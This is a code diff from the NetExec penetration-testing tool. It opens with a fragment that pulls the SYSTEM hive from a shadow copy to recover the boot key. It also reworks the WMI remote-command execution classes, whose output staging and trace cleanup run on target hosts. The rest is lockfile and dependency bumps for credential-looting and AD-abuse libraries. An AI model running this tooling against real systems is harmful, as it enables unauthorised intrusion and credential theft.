system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system")
if system_hive_recovered:
self.connection.logger.debug("Got SYSTEM hive")
local_operations = LocalOperations(f"{output_filename}.system")
self.bootkey = local_operations.getBootKey()
self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}")
else:
self.connection.logger.fail("Could not get bootkey")
return self.bootkey
+49 -27
View File
@@ -21,7 +21,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None):
self.__target = target
self.__iWbemLevel1Login = iWbemLevel1Login
self.logger = logger
@@ -32,8 +32,10 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__codec = codec
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__iWbemServices = cimv2_namespace
if self.__iWbemServices is None:
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process")
def execute(self, command, output=False, use_powershell=False):
@@ -55,10 +57,40 @@ class WMIEXEC:
def execute_remote(self, command):
self.logger.info(f"Executing command: {command}")
process = self.__win32Process.Create(command, self.__pwd, None)
if process.ReturnValue != 0:
raise Exception(f"Win32_Process.Create returned {process.ReturnValue}")
return process.ProcessId
def wait_for_process(self, pid, timeout):
"""Poll Win32_Process until the process and its children have exited or the timeout (in seconds) is reached"""
end = time.monotonic() + timeout
while time.monotonic() < end:
time.sleep(0.1)
try:
self.__iWbemServices.GetObject(f'Win32_Process.Handle="{pid}"')
except Exception as e:
if "WBEM_E_NOT_FOUND" not in str(e):
self.logger.debug(f"Could not query process {pid}: {e}")
continue
# Children (e.g. "start /b") keep the ParentProcessId after the parent exits and may still hold the output file open
if not self.has_children(pid):
return
self.logger.fail(f"WMIEXEC: Process {pid} still running after {timeout}s, output may be incomplete. Please try a higher '--exec-timeout'")
def has_children(self, pid):
try:
self.__win32Process.Create(command, self.__pwd, None)
enum = self.__iWbemServices.ExecQuery(f"SELECT ProcessId FROM Win32_Process WHERE ParentProcessId = {pid}")
except Exception as e:
self.logger.error(str(e))
self.logger.debug(f"Could not query children of process {pid}: {e}")
return False
try:
enum.Next(0xFFFFFFFF, 1)
return True
except Exception:
return False
finally:
enum.RemRelease()
def execute_WithOutput(self, command):
result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt"
@@ -67,17 +99,11 @@ class WMIEXEC:
self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}"
# 1. Run the command and write output to file
self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file
self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001")
time.sleep(0.5)
# 3. Store content in registry
self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f')
time.sleep(0.1)
# 2. Base64 encode the file and store content in registry
self.wait_for_process(self.execute_remote(f'{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 & for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f'), self.__exec_timeout)
self.queryRegistry(keyName)
self.clean_up(result_output, result_output_b64)
@@ -110,16 +136,14 @@ class WMIEXEC:
# 1. Run the command and write output to file
if not command.lower().startswith("powershell"):
command = f'powershell -Command "& {{{command}}}"'
self.execute_remote(f'{command} > "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{command} > "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file using PowerShell
self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"')
time.sleep(0.5)
self.wait_for_process(self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"'), self.__exec_timeout)
# 3. Use PowerShell to split base64 content into 16KB chunks and store in registry
self.execute_remote(
self.wait_for_process(self.execute_remote(
f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; '
f'$chunksize = 16000; '
f'$count = [math]::Ceiling($b64.Length / $chunksize); '
@@ -128,8 +152,7 @@ class WMIEXEC:
f' $name = \\"{keyName}_chunk_$i\\"; '
f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; '
f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"'
)
time.sleep(0.1)
), self.__exec_timeout)
self.queryRegistry_psh(keyName)
self.clean_up(result_output, result_output_b64)
@@ -163,13 +186,12 @@ class WMIEXEC:
self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'")
def clean_up(self, result_output, result_output_b64):
"""Deletes the output file, the base64 output file, and the registry path where the base64 content was stored."""
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
"""Deletes the registry path where the base64 content was stored, the output file and the base64 output file."""
try:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
descriptor, _ = self.__iWbemServices.GetObject("StdRegProv")
descriptor = descriptor.SpawnInstance()
descriptor.DeleteKey(0x80000002, self.__registry_Path)
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
except Exception as e:
self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}")
self.logger.fail(f"WMIEXEC: Cleanup failed, traces may be left on the target ({result_output}, {result_output_b64}, HKLM\\{self.__registry_Path}): {e}")
+5 -3
View File
@@ -30,7 +30,7 @@ from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
class WMIEXEC_EVENT:
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None):
self.__target = target
self.__iWbemLevel1Login = iWbemLevel1Login
self.__outputBuffer = ""
@@ -41,8 +41,10 @@ class WMIEXEC_EVENT:
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__iWbemServices = subscription_namespace
if self.__iWbemServices is None:
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
def execute(self, command, output=False, use_powershell=False):
if "'" in command:
Generated
+78 -111
View File
@@ -1,14 +1,17 @@
# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand.
[[package]]
name = "aardwolf"
version = "0.2.14"
version = "0.2.16"
description = "Asynchronous RDP protocol implementation"
optional = false
python-versions = ">=3.9"
python-versions = ">=3.11"
groups = ["main"]
files = [
{file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"},
{file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"},
{file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"},
{file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"},
{file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"},
]
[package.dependencies]
@@ -105,7 +108,6 @@ files = [
]
[package.dependencies]
exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
idna = ">=2.8"
typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""}
@@ -439,7 +441,7 @@ files = [
[package.dependencies]
dnspython = "*"
impacket = ">=0.9.17"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
pyasn1 = ">=0.4"
pycryptodome = "*"
@@ -480,14 +482,16 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=
kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""]
[[package]]
name = "certipy-ad"
version = "5.1.0"
description = "Active Directory Certificate Services enumeration and abuse"
name = "certipy-nxc"
version = "5.1.0.post1"
description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins"
optional = false
python-versions = ">=3.10"
groups = ["main"]
files = []
develop = false
files = [
{file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"},
{file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"},
]
[package.dependencies]
argcomplete = ">=3.6.2,<3.7.0"
@@ -505,12 +509,6 @@ requests = ">=2.32.3,<2.33.0"
[package.extras]
bloodhound = ["neo4j (>=5.28.1,<5.29.0)"]
[package.source]
type = "git"
url = "https://github.com/Pennyw0rth/Certipy"
reference = "HEAD"
resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4"
[[package]]
name = "cffi"
version = "2.1.1"
@@ -834,21 +832,23 @@ wmi = ["wmi (>=1.5.1)"]
[[package]]
name = "dploot"
version = "3.2.2"
version = "4.1.1"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "*"
python-versions = "<4.0,>=3.10"
groups = ["main"]
files = [
{file = "dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"},
{file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"},
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
]
[package.dependencies]
cryptography = ">=40.0.1"
impacket = ">=0.12.0"
impacket = ">=0.13.0"
lxml = ">=5.0"
pick = ">=2.6.0,<3.0.0"
pyasn1 = ">=0.4.8"
pypsrp = ">=0.9.1,<0.10.0"
[[package]]
name = "dsinternals"
@@ -865,25 +865,6 @@ files = [
pycryptodomex = "*"
pyopenssl = "*"
[[package]]
name = "exceptiongroup"
version = "1.3.1"
description = "Backport of PEP 654 (exception groups)"
optional = false
python-versions = ">=3.7"
groups = ["main", "dev"]
markers = "python_version == \"3.10\""
files = [
{file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"},
{file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"},
]
[package.dependencies]
typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""}
[package.extras]
test = ["pytest (>=6)"]
[[package]]
name = "flake8"
version = "7.3.0"
@@ -1095,7 +1076,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260810.134619.243d64a6"
version = "0.14.0.dev0+20261015.95810.75938fcb"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1106,7 +1087,7 @@ develop = false
[package.dependencies]
charset_normalizer = "*"
flask = ">=1.0"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
ldapdomaindump = ">=0.9.0"
pyasn1 = ">=0.2.3"
pyasn1_modules = "*"
@@ -1119,7 +1100,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc"
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
[[package]]
name = "iniconfig"
@@ -1188,7 +1169,7 @@ files = [
]
[package.dependencies]
cryptography = ">=3.1,<3.4.0 || >3.4.0"
cryptography = ">=3.1,!=3.4.0"
[package.extras]
dev = ["black", "isort", "mypy", "types-freezegun"]
@@ -1223,7 +1204,7 @@ files = [
[package.dependencies]
dnspython = "*"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
[[package]]
name = "lsassy"
@@ -1749,6 +1730,24 @@ files = [
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
]
[[package]]
name = "pick"
version = "2.6.0"
description = "Pick an option in the terminal with a simple GUI"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
]
[package.dependencies]
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
[package.extras]
blessed = ["blessed (>=1.17.0)"]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -2433,11 +2432,9 @@ files = [
[package.dependencies]
colorama = {version = "*", markers = "sys_platform == \"win32\""}
exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
iniconfig = "*"
packaging = "*"
pluggy = ">=0.12,<2.0"
tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
[package.extras]
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
@@ -2586,7 +2583,7 @@ files = [
]
[package.dependencies]
click = ">=6.7,<7.0 || >7.0"
click = ">=6.7,!=7.0"
pip = ">=9.0.3"
setuptools = "*"
@@ -2790,64 +2787,6 @@ files = [
{file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"},
]
[[package]]
name = "tomli"
version = "2.4.1"
description = "A lil' TOML parser"
optional = false
python-versions = ">=3.8"
groups = ["dev"]
markers = "python_version == \"3.10\""
files = [
{file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"},
{file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"},
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"},
{file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"},
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"},
{file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"},
{file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"},
{file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"},
{file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"},
{file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"},
{file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"},
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"},
{file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"},
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"},
{file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"},
{file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"},
{file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"},
{file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"},
{file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"},
{file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"},
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"},
{file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"},
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"},
{file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"},
{file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"},
{file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"},
{file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"},
{file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"},
{file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"},
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"},
{file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"},
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"},
{file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"},
{file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"},
{file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"},
{file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"},
{file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"},
{file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"},
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"},
{file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"},
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"},
{file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"},
{file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"},
{file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"},
{file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"},
{file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"},
{file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"},
]
[[package]]
name = "tqdm"
version = "4.70.0"
@@ -2875,12 +2814,11 @@ version = "4.16.0"
description = "Backported and Experimental Type Hints for Python 3.9+"
optional = false
python-versions = ">=3.9"
groups = ["main", "dev"]
groups = ["main"]
files = [
{file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"},
{file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"},
]
markers = {dev = "python_version == \"3.10\""}
[[package]]
name = "typing-inspection"
@@ -2975,6 +2913,35 @@ files = [
[package.dependencies]
cryptography = ">=38.0.1"
[[package]]
name = "windows-curses"
version = "2.4.2"
description = "Support for the standard curses module on Windows"
optional = false
python-versions = "*"
groups = ["main"]
markers = "platform_system == \"Windows\""
files = [
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
]
[[package]]
name = "xmltodict"
version = "1.0.4"
@@ -2992,5 +2959,5 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
python-versions = ">=3.11,<4.0"
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
+6 -10
View File
@@ -3,7 +3,7 @@ name = "netexec"
dynamic = ["version"]
description = "The Network Execution tool"
readme = "README.md"
requires-python = ">=3.10,<4.0"
requires-python = ">=3.11,<4.0"
license = { text = "BSD-2-Clause" }
authors = [
{ name = "Marshall Hallenbeck", email = "[email protected]" },
@@ -17,14 +17,14 @@ classifiers = [
"Topic :: Security"
]
dependencies = [
"aardwolf>=0.2.8",
"aardwolf>=0.2.16",
"argcomplete>=3.1.4",
"asyauth>=0.0.20",
"beautifulsoup4>=4.11,<5",
"bloodhound-ce>=1.8.0",
"certihound>=0.1.1",
"cryptography>=42.0.8",
"dploot>=3.2.2,<4.0.0",
"dploot>=4.0.0",
